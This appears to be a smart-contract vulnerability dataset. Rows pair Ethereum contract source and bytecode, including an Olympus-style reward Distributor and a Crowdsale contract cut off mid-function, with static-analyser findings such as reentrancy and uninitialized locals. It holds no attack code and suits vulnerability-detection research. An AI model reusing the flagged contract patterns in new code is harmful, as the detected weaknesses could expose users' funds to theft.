0b01b900460ff165b80156110ab57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d057506001600160a01b03841660009081526005602052604090205460ff16155b156110f0576110de826112f2565b4780156110ee576110ee47611234565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113557506001600160a01b03831660009081526005602052604090205460ff165b8061116757506015546001600160a01b0385811691161480159061116757506015546001600160a01b03848116911614155b15611174575060006111ee565b6015546001600160a01b03858116911614801561119f57506014546001600160a01b03848116911614155b156111b157600854600c55600954600d555b6015546001600160a01b0384811691161480156111dc57506014546001600160a01b03858116911614155b156111ee57600a54600c55600b54600d555b610a7b8484848461147b565b6000818484111561121e5760405162461bcd60e51b81526004016106329190611a31565b50600061122b8486611cd7565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a3573d6000803e3d6000fd5b60006006548211156112d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610632565b60006112df6114a9565b90506112eb83826114cc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133a5761133a611c78565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138e57600080fd5b505afa1580156113a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c69190611cee565b816001815181106113d9576113d9611c78565b6001600160a01b0392831660209182029290920101526014546113ff9130911684610b9a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611438908590600090869030904290600401611d0b565b600060405180830381600087803b15801561145257600080fd5b505af1158015611466573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114885761148861150e565b61149384848461153c565b80610a7b57610a7b600e54600c55600f54600d55565b60008060006114b6611633565b90925090506114c582826114cc565b9250505090565b60006112eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611673565b600c5415801561151e5750600d54155b1561152557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154e876116a1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158090876116fe565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115af9086611740565b6001600160a01b0389166000908152600260205260409020556115d18161179f565b6115db84836117e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164e82826114cc565b82101561166a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116945760405162461bcd60e51b81526004016106329190611a31565b50600061122b8486611d7c565b60008060008060008060008060006116be8a600c54600d5461180d565b92509250925060006116ce6114a9565b905060008060006116e18e878787611862565b919e509c509a509598509396509194505050505091939550919395565b60006112eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fa565b60008061174d8385611cbf565b9050838110156112eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610632565b60006117a96114a9565b905060006117b783836118b2565b306000908152600260205260409020549091506117d49082611740565b30600090815260026020526040902055505050565b6006546117f690836116fe565b6006556007546118069082611740565b6007555050565b6000808080611827606461182189896118b2565b906114cc565b9050600061183a60646118218a896118b2565b905060006118528261184c8b866116fe565b906116fe565b9992985090965090945050505050565b600080808061187188866118b2565b9050600061187f88876118b2565b9050600061188d88886118b2565b9050600061189f8261184c86866116fe565b939b939a50919850919650505050505050565b6000826118c1575060006106b8565b60006118cd8385611d9e565b9050826118da8583611d7c565b146112eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610632565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080257600080fd5b803561196781611947565b919050565b6000602080838503121561197f57600080fd5b823567ffffffffffffffff8082111561199757600080fd5b818501915085601f8301126119ab57600080fd5b8135818111156119bd576119bd611931565b8060051b604051601f19603f830116810181811085821117156119e2576119e2611931565b604052918252848201925083810185019188831115611a0057600080fd5b938501935b82851015611a2557611a168561195c565b84529385019392850192611a05565b98975050505050505050565b600060208083528351808285015260005b81811015611a5e57858101830151858201604001528201611a42565b81811115611a70576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9957600080fd5b8235611aa481611947565b946020939093013593505050565b600080600060608486031215611ac757600080fd5b8335611ad281611947565b92506020840135611ae281611947565b929592945050506040919091013590565b600060208284031215611b0557600080fd5b81356112eb81611947565b8035801515811461196757600080fd5b600060208284031215611b3257600080fd5b6112eb82611b10565b600060208284031215611b4d57600080fd5b5035919050565b60008060008060808587031215611b6a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9b57600080fd5b833567ffffffffffffffff80821115611bb357600080fd5b818601915086601f830112611bc757600080fd5b813581811115611bd657600080fd5b8760208260051b8501011115611beb57600080fd5b602092830195509350611c019186019050611b10565b90509250925092565b60008060408385031215611c1d57600080fd5b8235611c2881611947565b91506020830135611c3881611947565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb857611cb8611c8e565b5060010190565b60008219821115611cd257611cd2611c8e565b500190565b600082821015611ce957611ce9611c8e565b500390565b600060208284031215611d0057600080fd5b81516112eb81611947565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5b5784516001600160a01b031683529383019391830191600101611d36565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db857611db8611c8e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dff552982999169caee156f6bbc6eacf91e3cb341951dd8525fe6917389bd26064736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 644 |
0xc57a2167e7079216bf46ae3d9f975acbbe63998a | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy( address newPolicy_ ) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred( address(0), _policy );
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require( _policy == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred( _policy, address(0) );
_policy = address(0);
}
function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() {
require( newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require( msg.sender == _newPolicy );
emit OwnershipTransferred( _policy, _newPolicy );
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards( address _recipient, uint _amount ) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
/* ====== VARIABLES ====== */
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping( uint => Adjust ) public adjustments;
/* ====== STRUCTS ====== */
struct Info {
uint rate; // in ten-thousandths ( 5000 = 0.5% )
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
/* ====== CONSTRUCTOR ====== */
constructor( address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime ) {
require( _treasury != address(0) );
treasury = _treasury;
require( _ohm != address(0) );
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
/* ====== PUBLIC FUNCTIONS ====== */
/**
@notice send epoch reward to staking contract
*/
function distribute() external returns ( bool ) {
if ( nextEpochTime <= uint32(block.timestamp) ) {
nextEpochTime = nextEpochTime.add32( epochLength ); // set next epoch time
// distribute rewards to each recipient
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].rate > 0 ) {
ITreasury( treasury ).mintRewards( // mint and send from treasury
info[ i ].recipient,
nextRewardAt( info[ i ].rate )
);
adjust( i ); // check for adjustment
}
}
return true;
} else {
return false;
}
}
/* ====== INTERNAL FUNCTIONS ====== */
/**
@notice increment reward rate for collector
*/
function adjust( uint _index ) internal {
Adjust memory adjustment = adjustments[ _index ];
if ( adjustment.rate != 0 ) {
if ( adjustment.add ) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate
if ( info[ _index ].rate >= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate
if ( info[ _index ].rate <= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
/* ====== VIEW FUNCTIONS ====== */
/**
@notice view function for next reward at given rate
@param _rate uint
@return uint
*/
function nextRewardAt( uint _rate ) public view returns ( uint ) {
return IERC20( OHM ).totalSupply().mul( _rate ).div( 1000000 );
}
/**
@notice view function for next reward for specified address
@param _recipient address
@return uint
*/
function nextRewardFor( address _recipient ) public view returns ( uint ) {
uint reward;
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].recipient == _recipient ) {
reward = nextRewardAt( info[ i ].rate );
}
}
return reward;
}
/* ====== POLICY FUNCTIONS ====== */
/**
@notice adds recipient for distributions
@param _recipient address
@param _rewardRate uint
*/
function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() {
require( _recipient != address(0) );
info.push( Info({
recipient: _recipient,
rate: _rewardRate
}));
}
/**
@notice removes recipient for distributions
@param _index uint
@param _recipient address
*/
function removeRecipient( uint _index, address _recipient ) external onlyPolicy() {
require( _recipient == info[ _index ].recipient );
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
/**
@notice set adjustment info for a collector's reward rate
@param _index uint
@param _add bool
@param _rate uint
@param _target uint
*/
function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a15ad07711610097578063c9fa8b2a11610066578063c9fa8b2a1461027e578063e4fc6b6d1461029b578063f7982243146102b7578063fe3fbbad146102e357610100565b8063a15ad0771461020b578063a4b2398014610231578063a6c41fec14610239578063bc3b2b121461024157610100565b806357d775f8116100d357806357d775f8146101c05780635beede08146101c85780635db854b0146101d257806361d027b31461020357610100565b80630505c8c9146101055780631da56eb3146101295780632e3405991461014a57806336d33f4414610188575b600080fd5b61010d61030f565b604080516001600160a01b039092168252519081900360200190f35b61013161031f565b6040805163ffffffff9092168252519081900360200190f35b6101676004803603602081101561016057600080fd5b5035610332565b604080519283526001600160a01b0390911660208301528051918290030190f35b6101ae6004803603602081101561019e57600080fd5b50356001600160a01b0316610369565b60408051918252519081900360200190f35b6101316103ec565b6101d0610410565b005b6101d0600480360360808110156101e857600080fd5b50803590602081013515159060408101359060600135610488565b61010d61051a565b6101d06004803603602081101561022157600080fd5b50356001600160a01b031661053e565b6101d06105f2565b61010d610689565b61025e6004803603602081101561025757600080fd5b50356106ad565b604080519315158452602084019290925282820152519081900360600190f35b6101ae6004803603602081101561029457600080fd5b50356106d3565b6102a3610777565b604080519115158252519081900360200190f35b6101d0600480360360408110156102cd57600080fd5b506001600160a01b038135169060200135610918565b6101d0600480360360408110156102f957600080fd5b50803590602001356001600160a01b0316610a0d565b6000546001600160a01b03165b90565b600154600160a01b900463ffffffff1681565b6003818154811061034257600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b031682565b60008060005b6003548110156103e557836001600160a01b03166003828154811061039057fe5b60009182526020909120600160029092020101546001600160a01b031614156103dd576103da600382815481106103c357fe5b9060005260206000209060020201600001546106d3565b91505b60010161036f565b5092915050565b7f000000000000000000000000000000000000000000000000000000000000546081565b6001546001600160a01b0316331461042757600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000546001600160a01b031633146104d5576040805162461bcd60e51b81526020600482018190526024820152600080516020610f62833981519152604482015290519081900360640190fd5b6040805160608101825293151584526020808501938452848201928352600095865260029081905294209251835460ff19169015151783559051600183015551910155565b7f000000000000000000000000a123c7ce038c73cb31565dbbbae96a50d822212881565b6000546001600160a01b0316331461058b576040805162461bcd60e51b81526020600482018190526024820152600080516020610f62833981519152604482015290519081900360640190fd5b6001600160a01b0381166105d05760405162461bcd60e51b8152600401808060200182810382526026815260200180610f1b6026913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461063f576040805162461bcd60e51b81526020600482018190526024820152600080516020610f62833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b7f000000000000000000000000f55e77c77f933d252fbb6692f4cc060ad82de51081565b600260208190526000918252604090912080546001820154919092015460ff9092169183565b6000610771620f424061076b847f000000000000000000000000f55e77c77f933d252fbb6692f4cc060ad82de5106001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561073957600080fd5b505afa15801561074d573d6000803e3d6000fd5b505050506040513d602081101561076357600080fd5b505190610afa565b90610b5a565b92915050565b60015460009063ffffffff428116600160a01b9092041611610910576001546107d29063ffffffff600160a01b9091048116907f000000000000000000000000000000000000000000000000000000000000546090610b9c16565b600160146101000a81548163ffffffff021916908363ffffffff16021790555060005b6003548110156109065760006003828154811061080e57fe5b90600052602060002090600202016000015411156108fe577f000000000000000000000000a123c7ce038c73cb31565dbbbae96a50d82221286001600160a01b0316636a20de926003838154811061086257fe5b906000526020600020906002020160010160009054906101000a90046001600160a01b0316610897600385815481106103c357fe5b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506108fe81610bff565b6001016107f5565b506001905061031c565b50600061031c565b6000546001600160a01b03163314610965576040805162461bcd60e51b81526020600482018190526024820152600080516020610f62833981519152604482015290519081900360640190fd5b6001600160a01b03821661097857600080fd5b604080518082019091529081526001600160a01b03918216602082019081526003805460018101825560009190915291517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b600290930292830155517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85c90910180546001600160a01b03191691909216179055565b6000546001600160a01b03163314610a5a576040805162461bcd60e51b81526020600482018190526024820152600080516020610f62833981519152604482015290519081900360640190fd5b60038281548110610a6757fe5b60009182526020909120600160029092020101546001600160a01b03828116911614610a9257600080fd5b600060038381548110610aa157fe5b906000526020600020906002020160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600060038381548110610ae557fe5b60009182526020909120600290910201555050565b600082610b0957506000610771565b82820282848281610b1657fe5b0414610b535760405162461bcd60e51b8152600401808060200182810382526021815260200180610f416021913960400191505060405180910390fd5b9392505050565b6000610b5383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d64565b600082820163ffffffff8085169082161015610b53576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b610c07610ef7565b506000818152600260208181526040928390208351606081018552815460ff16151581526001820154928101839052920154928201929092529015610d6057805115610cd957610c79816020015160038481548110610c6257fe5b600091825260209091206002909102015490610e06565b60038381548110610c8657fe5b600091825260209091206002909102015560408101516003805484908110610caa57fe5b90600052602060002090600202016000015410610cd4576000828152600260205260408120600101555b610d60565b610d05816020015160038481548110610cee57fe5b600091825260209091206002909102015490610e60565b60038381548110610d1257fe5b600091825260209091206002909102015560408101516003805484908110610d3657fe5b90600052602060002090600202016000015411610d60576000828152600260205260408120600101555b5050565b60008183610df05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610db5578181015183820152602001610d9d565b50505050905090810190601f168015610de25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610dfc57fe5b0495945050505050565b600082820183811015610b53576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610b5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060008184841115610eef5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610db5578181015183820152602001610d9d565b505050900390565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220eaffee455642e72b9122b639d4d4779a2fdd03af556d7d4c7b67a11a423cad4b64736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 645 |
0x1a42ed4d873c298e729ac83a3ad41de66e99a6f2 | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract Crowdsale is Ownable {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public preIcoStartTime;
uint256 public icoStartTime;
uint256 public preIcoEndTime;
uint256 public icoEndTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public preIcoRate;
uint256 public icoRate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _preIcoStartTime, uint256 _preIcoEndTime, uint256 _preIcoRate, uint256 _icoStartTime, uint256 _icoEndTime, uint256 _icoRate, address _wallet) public {
require(_preIcoStartTime >= now);
require(_preIcoEndTime >= _preIcoStartTime);
require(_icoStartTime >= _preIcoEndTime);
require(_icoEndTime >= _icoStartTime);
require(_preIcoRate > 0);
require(_icoRate > 0);
require(_wallet != address(0));
token = createTokenContract();
preIcoStartTime = _preIcoStartTime;
icoStartTime = _icoStartTime;
preIcoEndTime = _preIcoEndTime;
icoEndTime = _icoEndTime;
preIcoRate = _preIcoRate;
icoRate = _icoRate;
wallet = _wallet;
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
//send tokens to beneficiary.
token.mint(beneficiary, tokens);
//send same amount of tokens to owner.
token.mint(wallet, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// @return true if pre-ico crowdsale event has ended
function preIcoHasEnded() public view returns (bool) {
return now > preIcoEndTime;
}
// @return true if ico crowdsale event has ended
function icoHasEnded() public view returns (bool) {
return now > icoEndTime;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// Override this method to have a way to add business logic to your crowdsale when buying
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
if(!preIcoHasEnded()){
return weiAmount.mul(preIcoRate);
}else{
return weiAmount.mul(icoRate);
}
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
